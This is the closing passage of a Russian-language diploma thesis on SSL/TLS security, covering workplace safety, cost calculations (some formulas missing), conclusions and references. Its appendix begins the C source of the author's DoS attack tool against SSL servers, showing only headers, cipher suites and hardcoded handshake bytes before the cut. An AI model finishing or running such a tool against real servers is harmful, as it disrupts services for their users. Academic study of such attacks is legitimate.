где согласно ДНАОП 0.00-1.31-99. 9 (“Правила охорони праці при експлуатації електронно-обчислювальних машин”) [22], -- коэффициент запаса, учитывающий снижение освещенности из-за загрязнения и старения лампы примем равным 1,2.
Таким образом, установим 2 светильника в ряд.
План размещения светильников в помещении приведен на рисунке 3.2
Рисунок 3.2 - План размещения светильников в помещении
Эквивалентный уровень звукового давления на рабочем месте не должен превышать 50 дБ(А) (ДСН 3.3.6.037-99),[12]. Для снижения шума в помещении выполнена акустическая обработка помещения звукопоглощающими материалами [29].
Каждое рабочее место в НИЛ должно соответствовать требованиям ГОСТ 12.2.032-78 [17]. Рабочие места следует расположить относительно световых проемов так, чтобы естественный свет падал со стороны, преимущественно слева, при этом должны быть выдержаны следующие расстояния [22]:
- от стен со световыми проемами до рабочего места - не менее 1 м;
- между боковыми поверхностями видеотерминалов - не менее 1,2 м;
- между тыльной поверхностью одного видеотерминала и экраном - не менее 2,5 м.
Размещение рабочих мест в НИЛ показано на рисунке 3.3.
Рисунок 3.3 - Размещение рабочих мест и маршрут эвакуации при пожаре
На рисунке 3.3 приведены следующие обозначения:
1 - рабочие места; 2 - место расположения принтера; 3 - стеллаж для документов и шкаф для одежды; 4 - оконные проёмы; 5 - дверной проём;
- маршрут эвакуации при пожаре.
Организация рабочего (каждого места должна обеспечивать соответствие всех элементов рабочего места и их расположения эргономическим требованиям в соответствии с [31]. Высота рабочей поверхности стола для ПЭВМ должна регулироваться в пределах 680-800 мм, ширина стола - 600-1400 мм, глубина стола - 800-1000 мм [22]. Данные размеры соответствуют размерам рабочих мест, показанных на рисунке 8.2. Рабочий стол должен иметь пространство для ног высотой не менее 600 мм и шириной не менее 500 мм. Если у оператора ноги не достают до пола, необходимо применить подставку для ног. Сидение должно быть подъемно - поворотным, регулироваться по высоте, углу наклона как самого сидения, так и спинки, а также регулироваться по расстоянию спинки к переднему краю сидения и по высоте подлокотников. Правильный выбор параметров стола и, главное сидения, позволяет снизить статические ''перегрузки мышц”.
Для уменьшения перегрузки зрительных анализаторов экран видеотерминала расположить на оптимальном расстоянии от глаз: при размере экрана по диагонали 17' - следует расположить экран видеотерминала на расстоянии 700... 800 мм, [22].
Трудовая деятельность в НИЛ относится к группе «В» (отладка программ, перевод и редактирования и др.) и установлена 8-часовая рабочая смена, иначе -продолжительность работ группы «В» превышает 4 ч и выполняемые работы относятся к III категории работ [26]. Для уменьшения действия психофизиологических ОВПФ (умственное перенапряжение, монотонность труда и эмоциональные перегрузки) для данной категории работ следует установить перерывы по 20 мин каждый через 2 ч после начала работ, через 1,5 ч и 2, 5 ч после обеденного перерыва или же по 5-15 мин через каждый час работы [26]. Общая продолжительность перерывов (не считая обеденного) за 8-часовый день должна составлять 60 мин.
3.4 Пожарная профилактика
НИЛ расположена на 2 этаже здания, выполненного из железобетонных конструкций, при работе здесь применяются твердые сгораемые материалы, в помещении находятся твердые и волокнистые горючие вещества. Поэтому согласно СНиП 2.01.02-85 [31] здание имеет 1 степень огнестойкости, производство в НИЛ по пожаро- взрывобезопасности относится к категории «В», а по ПУЭ [28] помещение относится к классу П - IIа. Требования по пожаро- взрывобезопасности выполнены [26].
Причиной пожара в НИЛ могут быть короткое замыкание электропроводки; неисправность ПЭВМ и другого электрооборудования; нагрев проводников; курение в неположенном месте.
Для предупреждения пожара необходимо проводить ряд технических и организационных мероприятий, направленных на соблюдение установленного режима эксплуатации электрической сети, оборудования и соблюдения правил пожарной профилактики.
В соответствии с требованиями ГОСТ 12.1.004-91 [13], ГОСТ 12.4.009-83 [18], а также требований [26], помещение НИЛ должно быть оснащено:
- дымовыми пожарными оповестителями в количестве 5 штук (из расчета 2 оповестителя на каждые 20 м площади помещения);
- углекислотными переносными огнетушителями емкостью не менее 2 л в количестве 5 штук (из расчета 2 огнетушитель на 20 м2 площади, но не менее 2 в помещении); тип выбранного огнетушителя ОУ-2;
- ящик с песком.
Необходимо производить следующие организационные мероприятия:
- назначить ответственного по НИЛ за пожарную безопасность;
- включать вопросы по пожарной профилактики во все инструктажи по технике безопасности;
- запретить курение в неположенном месте, а также использование в НИЛ нестандартных (самодельных) электроприборов, в первую очередь нагревательных, назначить меры административной ответственности за нарушение этих запретов;
- контролировать изоляцию и состояние электропроводки и электрооборудования с периодичностью, указанной в подразделе 3.2.
В помещении 6 работающих, поэтому согласно [31, 13] эвакуацию при пожаре можно проводить через рабочий выход. Дополнительного эвакуационного выхода помещение не имеет и его не требуется. Схему эвакуации разместить на видном месте у выхода из помещения.
4. ТЕХНИКО-ЭКОНОМИЧЕСКОЕ ОБОСНОВАНИЕ
В данном разделе дипломной работы на основании исходных данных проводится ряд экономических расчетов для определения наиболее эффективного использования средств и определения конкурентоспособности разрабатываемого программного продукта.
Исходные данные приведены в таблице 4.1.
Таблица 4.1 - Исходные данные
|
№
|
Наименование
|
Обознач.
|
Ед. измер.
|
Числове значення
|
|
|
1
|
Затраты на маркетинг
|
М
|
Грн.
|
1000
|
|
|
2
|
Стоимость ОФ(разработка)
|
ОФр
|
Грн.
|
800
|
|
|
3
|
Стоимость ОФ(тиражирование)
|
ОФт
|
Грн.
|
600
|
|
|
4
|
Затраты на реализацию
|
Sb
|
Грн.
|
900
|
|
|
5
|
Стоимость сторонних организаций
|
СУ
|
Грн.
|
280
|
|
|
6
|
Затраты на командировки
|
КОМ
|
Грн.
|
230
|
|
|
7
|
Приобретение ИТ
|
НОУ
|
Грн.
|
2535
|
|
|
8
|
Амортизационные отчисления
|
Amt
|
%
|
17
|
|
|
9
|
Другие затраты
|
ДЗ
|
Грн.
|
111
|
|
|
10
|
Необлагаемый налогом мин.зарпл.
|
НМ
|
Грн.
|
17
|
|
|
11
|
Средне рассчитываемая ставка процента по заёмным средствам
|
СРСП
|
%
|
18
|
|
|
12
|
Ставка налогообложения прибыли
|
СтНП
|
%
|
25
|
|
|
13
|
Ставка налогообложения выручки
|
СтНВ
|
%
|
-
|
|
|
14
|
Налог на доб. стоимость
|
ПДВ
|
%
|
20
|
|
|
15
|
Объем тиража
|
R
|
Шт.
|
3
|
|
|
16
|
Сумма платежей и налогов
|
сonst
|
Грн.
|
540
|
|
|
17
|
Плече
|
ЗС/СС
|
|
1/1
|
|
|
4.1 Расчет расходов на маркетинг
Таблица 4.2 - Расчет расходов на маркетинг
|
Наименование маркетинговых мероприятий
|
Стоимость реализации мероприятия (грн.)
|
|
|
Данные про разработку товара
|
Данные по товарам-аналогам
|
|
|
|
Наим.1
|
|
|
1. Специальные организационные закупки и изучение специальных потребностей потребителей
|
250
|
500
|
|
|
2. Выставки
|
750
|
1200
|
|
|
Итого:
|
1000
|
1700
|
|
|
4.2 Расчет расходов на реализацию (коммерческую поддержку)
Таблица 4.3 - Расчет расходов на реализацию
|
Наименование маркетинговых мероприятий
|
Стоимость реализации мероприятия (грн.)
|
|
|
Данные про разработку товара
|
Данные по товарам-аналогам
|
|
|
|
Наим.1
|
|
|
1. Уровень компетентности при заключении торгового соглашения (сами разработчики )
|
100
|
200
|
|
|
2. Формы поставок (индивидуальные поставки по заказам)
|
100
|
300
|
|
|
3. Способы удовлетворения рекламаций (по адресу пользователя)
|
200
|
350
|
|
|
4.Способы тех.обслуживания (по условиям договора)
|
230
|
200
|
|
|
5. Формы платежей (расчет наличными)
|
270
|
100
|
|
|
6. Изменение условий контракта
|
-
|
-
|
|
|
7. Стоимость примененных ИТ
|
-
|
100
|
|
|
при организации работы
|
|
|
|
|
Итого:
|
900
|
1350
|
|
|
4.3 Расчет затрат на разработку
Затраты рассчитываются следующим образом:
(4.1)
где - затраты на материалы, используемые в процессе НИОКР;
- заработная плата специалистов с начислениями;
- затраты, связанные с затратами на ИТ;
КОМ - затраты, связанные с расходами на командировки.
Таблица 4.4 - Затраты на материалы
|
Наименование товара
|
Единицы измерения
|
Количество штук
|
Цена за единицу
|
Сумма, грн.
|
|
|
Бумага (А4 пл.80гр/м)
|
лист
|
300
|
0,03
|
9
|
|
|
СD-диск
|
шт
|
3
|
5
|
15
|
|
|
Другие канцелярские принадлежности
|
|
|
|
5
|
|
|
Итого:
|
|
|
|
29
|
|
|
Данные по ценам на материалы взяты на основе действующих рыночных цен.
Таблица 4.5 - Расчет фонда оплаты труда (ФОТ) на этапе разработки
|
№
|
Наименование должности
|
Количество специалистов
|
Час занятости ,час.
|
Тарифная ставка, грн/ч.
|
ФОТ, грн
|
|
|
1
|
Инженер-cист.
|
2
|
240
|
5,8
|
2800
|
|
|
2
|
Рук. разработ.
|
1
|
240
|
10,16
|
2440
|
|
|
3
|
Конс-т по ТЭО
|
1
|
240
|
4,16
|
1000
|
|
|
Итого:
|
ФОТ(р)=
|
6240
|
|
|
Расчет ФОТ(р) с начислениями:
ФОТ(р)нар = ФОП(р)·(1+П), (4.2)
где, П - налоги и платежи на ФОТ (31,8% - отчисления на обязательное государственное пенсионное страхование согласно с Законом Украины от 1.01.2006;
2.9% - отчисления на обязательное социальное страхование согласно с Законом Украины от 1.01.2006;
1,3% - отчисления на социальное страхование на случай безработицы согласно Закону Украины от 1.01.2006;
1,51% - отчисления на социальное страхование от несчастных случаев)
Итого П = 37,5
ФОТ(р) нар=6240(1+0,375)=8580 грн.
Рассчитаем суммы примененных средств ИТ:
НОУ(р)=1200+35=1235 грн.
Общая сумма расходов на разработку приведена в таблице 4.6.
Таблица 4.6 - Расходы на разработку Зниокр
|
№
|
Наименование
|
Обозначение
|
Сумма (грн.)
|
|
|
1
|
Материалы,
|
Мт(р)
|
29
|
|
|
2
|
Фонд оплати труда с начислением
|
ФОП(р)нар
|
8580
|
|
|
3
|
Затраты на командировки
|
КОМ
|
230
|
|
|
4
|
Стоимость ИТ
|
НОУ(р)
|
1235
|
|
|
Общие расходы на разработку
|
Зниокр=
|
10074
|
|
|
4.4 Расчет затрат на тиражирование
Рассчитаем стоимость материалов Мт(т), которые применяются на этапе тиражирования единицы товара. Для этого приведена таблица 4.7.
Таблица 4.7 - Затраты на материалы при тиражировании единицы товара
|
Наименование товара
|
Единицы измерения
|
Количество штук
|
Цена за единицу
|
Сумма, грн.
|
|
|
Бумага (А4 пл.80гр/м)
|
лист
|
700
|
0,03
|
21
|
|
|
СD-диск
|
шт
|
6
|
5
|
30
|
|
|
Другие канцелярские принадлежности
|
|
|
|
4
|
|
|
Итого:
|
Мт(т)
|
55
|
|
|
Для расчета фонда оплаты труда на этапе тиражирования единицы товара приведена таблица 4.8.
Таблица 4.8 - Расчет фонда оплаты труда (ФОТ) на этапе тиражирования единицы товара
|
№
|
Наименование должности
|
Количество специалистов
|
Час занятости ,час.
|
Тарифная ставка, грн/ч.
|
ФОТ, грн
|
|
|
1
|
Инженер
|
2
|
56
|
3,44
|
385
|
|
|
Итого:
|
ФОТ(т)=
|
385
|
|
|
ФОТ(т)нар = ФОП(т)*(1+П) (4.3)
По формуле 4.3 рассчитаем ФОТ с начислениями:
ФОТ(т)нар=385*(1+0,375)=529,4 грн.
Сделаем расчет суммы примененных ИТ:
НОУ(т)=1300 грн.
Общие затраты на тиражирование рассчитаем в таблице 4.9:
Таблица 4.9 - Расходы на тиражирование
|
№
|
Наименование
|
Обозначение
|
Сумма (грн.)
|
|
|
1
|
Материалы
|
Мт(р)
|
55
|
|
|
2
|
Фонд оплаты труда с начислением
|
ФОП(т)нар
|
529,4
|
|
|
3
|
Стоимость ИТ
|
НОУ(р)
|
1300
|
|
|
Общие расходы на тиражирование
|
Зтираж=
|
1884,4
|
|
|
4.5 Расчет полных затрат
Таблица 4.10 - Расчет полных затрат
|
№
|
Наименование статей калькуляции
|
Обозначение
|
Сумма
|
|
|
1
|
Затраты на маркетинг
|
М
|
1000
|
|
|
2
|
Работы и услуги сторонних организаций
|
СУ
|
280
|
|
|
3
|
Затраты на реализацию
|
Sb
|
900
|
|
|
4
|
Амортизационные затраты
|
Аморт
|
238
|
|
|
5
|
Затраты на командировки
|
Ком
|
230
|
|
|
6
|
Сумма постоянных платежей и налогов
|
сonst
|
540
|
|
|
7
|
Затраты на разработку
|
Зниокр.
|
10074
|
|
|
8
|
Затраты на тиражирование
|
Зтираж.
|
1884,4
|
|
|
9
|
Затраты на преобретение средств ИТ, использованных для оформления
|
Зоф(с)
|
0
|
|
|
10
|
Другие затраты
|
ДЗ
|
111
|
|
|
11
|
Сумма вместе
|
Сумм
|
15257,4
|
|
|
12
|
Общепроизводственные затраты
|
Роп
|
6102,96
|
|
|
13
|
Общехозяйственные затраты
|
Рох
|
3051,48
|
|
|
14
|
Полные постоянные затраты
|
S(с)
|
24181,84
|
|
|
Рассчитаем коммунальный налог:
КН = , (4.4)
где ПЕРС = 8
НМ = 17 грн.
КН = 13,6 грн.
Рассчитаем ориентировочной величины тиража, если допустить, что цена товара должна быть приближенная к рыночной цене аналога Цр.
Nn= (4.5)
= 628,1 грн.
Nn=
Nn < R
Пусть переменные затраты на полный объем тиража составляет:
(4.6)
грн.
Полная сумма затрат на объем тиража составляет:
(4.7)
грн.
4.6 Планирование пассива баланса
Принимаем пассив аналитического баланса равным суммарным издержкам:
П = = грн.
ЗС = П - СС = П / 2 = 13033,12 грн.
Считая, что кредиторская задолженность равна: КЗ=0, получим величину финансовых затрат с кредиторами:
ФI = ЗС*СРСП = 13033,12*0,18 = 2345,96 грн.
4.7 Планирование необходимой чистой прибыли и ожидаемого изменения актива
Для определения желаемой чистой прибыли (ЧП), нужно установить сколько средств в будущем периоде нужно иметь для развития производства (РЗ). Затем установим желаемый размер чистой прибыли на одну акцию (ЧПА) и число акций (К) в будущем периоде. Произведение ЧПА*К=Потр является суммой средств, которые будут направлены на потребление (премии, бонусы).
Пусть РЗ = 2500 грн, ЧПА = 75 грн. и К=100
ЧП = 2500 + 75*100 = 10000 грн.
Рентабельность собственных средств вычисляем:
Вычислим норму распределения:
ВТР = РСС*(1-НР) = 76*(1-0,6)= 30 %
26066,24 грн.
Следовательно, новый актив предприятия вырастит и составит:
грн.
4.8 Расчет цены товара и финансового результата
Поскольку у нас налогу подлежит только прибыль, то воспользуемся следующей формулой:
, (4.8)
где - это коэффициент, который показывает размер налогов и отчислений, которые зависят от прибыли предприятия. Пусть = 0.
грн.
грн.
грн.
грн.
Рассчитаем выручку:
ВР=Ц*R (4.9)
ВР= 10578,78*3=31736,34 грн.
Рассчитаем брутто-результат эксплуатации инвестиций:
грн.
Рассчитаем добавленную стоимость:
(4.10)
грн.
Рассчитаем НДС:
НДС=ДС*ПДВ=0,2*23056,24=4611,25 грн.
Норма ДС =
НРЕІ=БП+ФІ=12500+2345,96=14845,96 грн.
ЕР=
Рассчитаем эффективность финансового рычага:
ЕФР=
Тогда на рисунке 4.1 наиболее подходит кривая дифференциала ЕР=3 СРСП. Отсюда следует, что соотношение ЗС/СС=1. Следовательно, имеем: ,
,
грн.
Рисунок 4.1 - Графики кривых дифференциалов
4.9 Расчет операционных показателей
(4.11)
ВМ=31736,34 -1884,4=29851,94 грн.
Тогда порог рентабельности составит:
(4.12)
грн.
ПР= грн.
Рассчитываем запас финансовой прочности по производимому товару:
(4.13)
ЗПФ=26585,09 - 21535,5=5049,59 грн.
Для определения силы воздействия операционного рычага используем формулу:
(4.14)
СВОР==2,99
Рисунок 4.2 - График «Порог рентабельности»
Таблица 4.11 - Основные результаты ТЕО
|
Заданный объем тиража, R
|
Измененный объем тиража, R
|
Цена, Ц(грн)
|
ЕР %
|
РСС %
|
Норма ДС,%
|
ЕФР %
|
|
СВОР
|
|
ЗФП
|
|
|
3
|
3
|
10578,78
|
57
|
76
|
0,15
|
29
|
1
|
2,99
|
1
|
5049,59
|
|
|
4.11 Расчет конкурентоспособности товара
Расчет конкурентоспособности производим методом главных компонент. Для этого необходимо построить аналоги в ряд, который характеризовал бы уровень (место) каждого аналога в зависимости от значения некоторого обобщенного показателя, то есть определить рейтинг по обобщенному показателю.
Для расчета использовался программный продукт mgk.exe.
Исходные данные приведены в таблице 4.12.
Таблица 4.12 _ Матрица параметров товаров (услуг)
|
Параметр
|
Разрабатываемый объект
|
Аналог 1
|
Аналог 2
|
Аналог 3
|
|
|
1
|
3
|
15
|
10
|
10
|
|
|
2
|
100
|
80
|
50
|
65
|
|
|
3
|
10578,78
|
25020
|
33560
|
15989
|
|
|
4
|
1000
|
5000
|
2000
|
1200
|
|
|
5
|
900
|
2300
|
1800
|
2150
|
|
|
Обратный вес назначен параметрам: 1 3 4 5
Технические параметры:
1 безопасное время;
2 вероятность успеха;
Экономические параметры:
3 цена продукта;
4 затраты на маркетинг;
5 затраты на сбыт.
Результаты расчетов:
Вклад в дисперсию 5-й ГК за счет 1-го параметра: 0,9598 Вклад в дисперсию 5-й ГК за счет 2-го параметра: 0,6812 Вклад в дисперсию 5-й ГК за счет 3-го параметра: 0,8075 Вклад в дисперсию 5-й ГК за счет 4-го параметра: 0,7242 Вклад в дисперсию 5-й ГК за счет 5-го параметра: 0,9059 Вклад в дисперсию 4-й ГК за счет 1-го параметра: 0,2537 Вклад в дисперсию 4-й ГК за счет 2-го параметра: -0,7247 Вклад в дисперсию 4-й ГК за счет 3-го параметра: -0,3759 Вклад в дисперсию 4-й ГК за счет 4-го параметра: 0,6371 Вклад в дисперсию 4-й ГК за счет 5-го параметра: 0,1020
Таблица 4.13 _ Значения главных компонент для товаров (услуг)
|
№ ГК
|
Разрабатываемый объект
|
Аналог 1
|
Аналог 2
|
Аналог 3
|
|
|
5
|
4,7457
|
-2,9646
|
-1,7346
|
-0,0465
|
|
|
4
|
-0,3625
|
-1,3688
|
1,3372
|
0,3941
|
|
|
Исходя из полученных результатов можно сделать вывод, что разрабатываемое устройство является конкурентоспособным и стоит на первом месте среди аналогов.
4.12 Выводы по расчётам
Расчёты показали, что производить данный продукт выгодно - вложив 16943,06 грн. и заняв 16943,06 грн. можно получить 10000 грн чистой прибыли. Товар конкурентоспособен - он превышает свои аналоги по всем техническим параметрам, поэтому спрос на разработку продукта будет намного выше, чем у аналогов. Разработка отвечает современным требованиям и является новинкой на рынке, поэтому нужно увеличить затраты на маркетинг.
ВЫВОДЫ
В ходе выполнения дипломной работы был изучен протокол защиты данных по удалённым соединениям (SSL/TLS). Исследован принцип работы данного протокола, сделана оценка безопасности передаваемых данных. Была рассмотрена модель угроз для протокола SSL/TLS. Были приведены существующие на данный момент атаки на протокол SSL/TLS, которые были проанализированы, на основании чего можно сделать вывод, что наиболее опасной является Dos-атака, т.к ее очень сложно предотвратить и при ее реализации протокол SSL перестает работать. Следовательно, все данные будут передаваться в открытом виде, а это противоречит всем правилам безопасности и приведет к серьезным последствиям для организации.
Следует заметить, что не менее опасна «высокоуровневая» атака, т.к при ее реализации и внедрении злоумышленник получает секреты, а это влечет за собой необратимые последствия. Вероятность атаки существует всегда, но можно принять ряд мер для усложнения реализации данной атаки. Для этого нужно шифровать открытые данные до того, как они будут переданы.
Присоединение к Интернету может дать огромные преимущества, хотя при этом нужно серьезно учесть вопросы, связанные с безопасностью соединения. В данной дипломной работе были рассмотрены вопросы, связанные с безопасностью, которые нужно учесть как организациям, собирающимся присоединиться к Интернету, так и организациям, уже присоединенным к Интернету. Зная методы борьбы с приведенными атаками на протокол SSL/TLS, мы сможем эффективно отражать атаки злоумышленников и, тем самым, защитить передаваемые данные.
Кроме непосредственной разработки программной реализации Dos-атаки, были произведены технико-коммерческое обоснование целесообразности его проектирования и анализ условий труда работников машинного зала.
В разделе “Технико-коммерческое обоснование” был произведен расчет основных финансовых показателей, произведен расчет конкурентоспособности товара. Полученные результаты говорят о том, что разработанный продукт является конкурентоспособным и стоит на первом месте среди аналогов.
В разделе “Охрана труда” был проведен анализ условий труда работников НИЛ. На его основе были определены наличие и возможность появления в помещении опасных и вредных производственных факторов (опасность поражения электрическим током, избыточное тепло (выделяемое оборудованием и людьми), шумы, статическое электричество, пожарная опасность). Также был определен доминирующий ОПФ (искусственное освещение), при этом были разработаны меры по его предупреждению, уменьшению или ликвидации его воздействия.
СПИСОК ССЫЛОК
Васильев Г.А. «Политика безопасности при работе в Internet», -Питер.1997-848с.
Громов В.И. «Энциклопедия компьютерной безопасности», М.: Мир, 1999.-608с.
Мартин Дж. «Об Internet и о безопасности».-М.: Мир, 1980.-608с.
Вейскас Дж. «Технология использования цифровой подписи».-: Питер.1997-848с.
Боуман Дж., «Атака через internet».-К:,1998-565с.
«Применение SSL протокола», Ульман Дж.
«Протокол TSL», Дейт К.
8. http://www.stunnel.org.
9. http://www.tripwiresecurity.com.
10. http:// www.esafe.com.
11. Бадалов А.Л., Михайлов А.С. Нормы на параметры электромагнитной совместимости РЭС: Справочник. - М.: Радио и связь, 1990. - 272 с.: ил.
12. ГОСТ 12.0.003-74. ССБТ. Опасные и вредные производственные факторы. Классификация.
13. ГОСТ 12.1.004-91. ССБТ. Пожарная безопасность. Общие требования.
14. ГОСТ 12.1.005-88. ССБТ. Общие санитарно-гигиенические требования к воздуху рабочей зоны.
15. ГОСТ 12.1.019-79. ССБТ. Электробезопасность. Общие требования.
16. ГОСТ 12.1.030-81. ССБТ. Электробезопасность. Защитное заземление. Зануление.
17. ГОСТ 12.2.031-78. ССБТ. Рабочее место при выполнении работ сидя. Общие эргономические требования.
18. ГОСТ 12.4.009-83. ССБТ. Пожарная техника для защиты объектов. Основные виды. Размещение и обслуживание.
19. ГОСТ 12.4.113-82. ССЮТ. Учебные лабораторные работы. Общие требования безопасности.
20. ГОСТ 23611 - 79. Совместимость РЭС электромагнитная. Термины и определения.
21. ГОСТ 23872 - 79. Совместимость РЭС электромагнитная. Номенклатура параметров и классификация технических характеристик.
22. ДНАОП 0.00-1.31-99. Правила охорони праці при експлуатації електронно - обчислювальних машин.
23. ДНАОП 0.04-4.12-94. Типові положения про навчання, інструктаж та перевірку знань з питань охорони праці.
24. ДСП 3.3.6.037-99. Норми виробничого шуму та ультразвуку.
25. Методические указания по технико-экономическому обоснованию дипломных проектов для студентов специальностей 8.091501 (КСМ, СП, СКС). Составители: проф. Денисова И.Г., доц. Скибицкая В.И. Харьков: ХНУРЭ, 2004
26. Охорона праці користувачів комп'ютерних відеодисплейних терміналів.
Київ, 1997.-400с.
27. Петровский В.И., Седельников Ю.Е. Электромагнитная совместимость радиоэлектронных средств: Учеб. пособие для вузов. - М.: Радио и связь, 1986. - 216 с.: ил.
28. Правила устройства электроустановок. ПУЭ-85.
39. СП 3223-85. Санитарные нормы допустимых уровней шума на рабочих местах.
30. СНиП П-4-79. Нормы проектирования. Естественное и искусственное освещение.
31. СНиП 2.01.02-85. Противопожарные нормы проектирования предприятий и сооружений.
32. Электромагнитная совместимость радиоэлектронных средств и непреднамеренные помехи: Пер. с англ. В 3-х т. - М.: Сов. радио, 1977 - 1979.
33. Электромагнитная совместимость радиоэлектронных средств и систем / В.И. Владимиров, Ф.В. Елизаров и др.: Под ред. Н.М. Царькова. - М.:Радио и связь, 1985. - 272 с., ил.
34. В.Ц. Жидецький, Джигерей. Практикум із охорони праці: Учеб. пособие для вузов.
35. ДСТУ 3008-95. Документация. Отчеты в сфере науки и техники. Структура и правила оформления. Государственный стандарт Украины.
ПРИЛОЖЕНИЯ
сеть протокол клиент сервер
Приложение А
Текст программы
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <arpa/nameser.h>
#include <errno.h>
int exist_host( char *, u_long *);
void init_hello(void);
/* begin cipher suites: */
char cipher_suites[] = /* 52 */
{0x00,0x39,0x00,0x38,0x00,0x35,0x00,0x16,0x00,0x13,0x00,0x0A,0x00,0x33,0x00
,0x32,0x00,0x2F,0x00,0x66,0x00,0x05,0x00,0x04,0x00,0x63,0x00,0x62,0x00,0x61
,0x00,0x15,0x00,0x12,0x00,0x09,0x00,0x65,0x00,0x64,0x00,0x60,0x00,0x14,0x00
,0x11,0x00,0x08,0x00,0x06,0x00,0x03};
/* begin binary data: */
char bin_data[] = /* 1308 */
{0x16,0x03,0x00,0x03,0xB8,0x01,0x00,0x03,0xB4,0x00,0x03,0xB1,0x00,0x03,0xAE
,0x30,0x82,0x03,0xAA,0x30,0x82,0x03,0x13,0xA0,0x03,0x02,0x01,0x02,0x02,0x01
,0x00,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x01,0x04,0x05
,0x00,0x30,0x81,0x9B,0x31,0x0B,0x30,0x09,0x06,0x03,0x55,0x04,0x06,0x13,0x02
,0x45,0x53,0x31,0x11,0x30,0x0F,0x06,0x03,0x55,0x04,0x08,0x13,0x08,0x50,0x61
,0x6C,0x65,0x6E,0x63,0x69,0x61,0x31,0x14,0x30,0x12,0x06,0x03,0x55,0x04,0x07
,0x13,0x0B,0x54,0x6F,0x72,0x72,0x65,0x62,0x6C,0x61,0x63,0x6F,0x73,0x31,0x0F
,0x30,0x0D,0x06,0x03,0x55,0x04,0x0A,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63
,0x31,0x19,0x30,0x17,0x06,0x03,0x55,0x04,0x0B,0x13,0x10,0x77,0x77,0x77,0x2E
,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x31,0x0F,0x30
,0x0D,0x06,0x03,0x55,0x04,0x03,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31
,0x26,0x30,0x24,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x09,0x01,0x16
,0x17,0x64,0x65,0x76,0x65,0x6C,0x6F,0x70,0x65,0x72,0x73,0x40,0x77,0x61,0x73
,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x30,0x1E,0x17,0x0D,0x30,0x34
,0x30,0x34,0x31,0x33,0x30,0x38,0x33,0x30,0x35,0x39,0x5A,0x17,0x0D,0x30,0x35
,0x30,0x34,0x31,0x33,0x30,0x38,0x33,0x30,0x35,0x39,0x5A,0x30,0x81,0x9B,0x31
,0x0B,0x30,0x09,0x06,0x03,0x55,0x04,0x06,0x13,0x02,0x45,0x53,0x31,0x11,0x30
,0x0F,0x06,0x03,0x55,0x04,0x08,0x13,0x08,0x50,0x61,0x6C,0x65,0x6E,0x63,0x69
,0x61,0x31,0x14,0x30,0x12,0x06,0x03,0x55,0x04,0x07,0x13,0x0B,0x54,0x6F,0x72
,0x72,0x65,0x62,0x6C,0x61,0x63,0x6F,0x73,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55
,0x04,0x0A,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31,0x19,0x30,0x17,0x06
,0x03,0x55,0x04,0x0B,0x13,0x10,0x77,0x77,0x77,0x2E,0x77,0x61,0x73,0x61,0x68
,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04
,0x03,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31,0x26,0x30,0x24,0x06,0x09
,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x09,0x01,0x16,0x17,0x64,0x65,0x76,0x65
,0x6C,0x6F,0x70,0x65,0x72,0x73,0x40,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F
,0x2E,0x6F,0x72,0x67,0x30,0x81,0x9F,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86
,0xF7,0x0D,0x01,0x01,0x01,0x05,0x00,0x03,0x81,0x8D,0x00,0x30,0x81,0x89,0x02
,0x81,0x81,0x00,0xC4,0x76,0x8B,0x8E,0x3A,0x00,0x70,0xD7,0xA0,0x36,0xCF,0xFC
,0xE8,0xBF,0x2E,0x18,0x83,0xB0,0xC5,0x7C,0x64,0x2F,0xF7,0xA8,0x31,0x70,0xF4
,0xBF,0x31,0x1D,0x81,0x57,0xD7,0x37,0xF9,0xDD,0x7C,0x4E,0xDF,0xB9,0xE2,0xAF
,0x69,0x79,0xB3,0xD5,0x59,0x91,0xED,0x27,0xF0,0x44,0x0A,0xC4,0x3C,0x43,0xF9
,0xE8,0x03,0xAE,0x10,0xDD,0x8B,0x52,0xC0,0x33,0xD7,0x9D,0x6D,0xE3,0xFF,0x03
,0x4B,0x89,0x2F,0x1A,0x73,0xCD,0x11,0x8A,0xD1,0xC1,0x40,0x21,0x2F,0x57,0x22
,0x23,0xF5,0x30,0xF8,0x8A,0x0B,0x02,0xDC,0x31,0xB5,0x4C,0xD9,0xCC,0x5A,0x83
,0xD8,0x7F,0x0A,0xC1,0x5F,0xA6,0x43,0x6C,0xD4,0xEC,0x9F,0x2F,0xEC,0x9A,0x01
,0x63,0x6D,0x30,0x11,0xB9,0xDA,0x73,0x53,0xC2,0x92,0x6B,0x02,0x03,0x01,0x00
,0x01,0xA3,0x81,0xFB,0x30,0x81,0xF8,0x30,0x1D,0x06,0x03,0x55,0x1D,0x0E,0x04
,0x16,0x04,0x14,0xE9,0x66,0x7B,0x58,0x23,0xA2,0x35,0x0F,0xD4,0x31,0x7C,0xAE
,0xC6,0x87,0x64,0x38,0x4E,0xAB,0xAA,0x58,0x30,0x81,0xC8,0x06,0x03,0x55,0x1D
,0x23,0x04,0x81,0xC0,0x30,0x81,0xBD,0x80,0x14,0xE9,0x66,0x7B,0x58,0x23,0xA2
,0x35,0x0F,0xD4,0x31,0x7C,0xAE,0xC6,0x87,0x64,0x38,0x4E,0xAB,0xAA,0x58,0xA1
,0x81,0xA1,0xA4,0x81,0x9E,0x30,0x81,0x9B,0x31,0x0B,0x30,0x09,0x06,0x03,0x55
,0x04,0x06,0x13,0x02,0x45,0x53,0x31,0x11,0x30,0x0F,0x06,0x03,0x55,0x04,0x08
,0x13,0x08,0x50,0x61,0x6C,0x65,0x6E,0x63,0x69,0x61,0x31,0x14,0x30,0x12,0x06
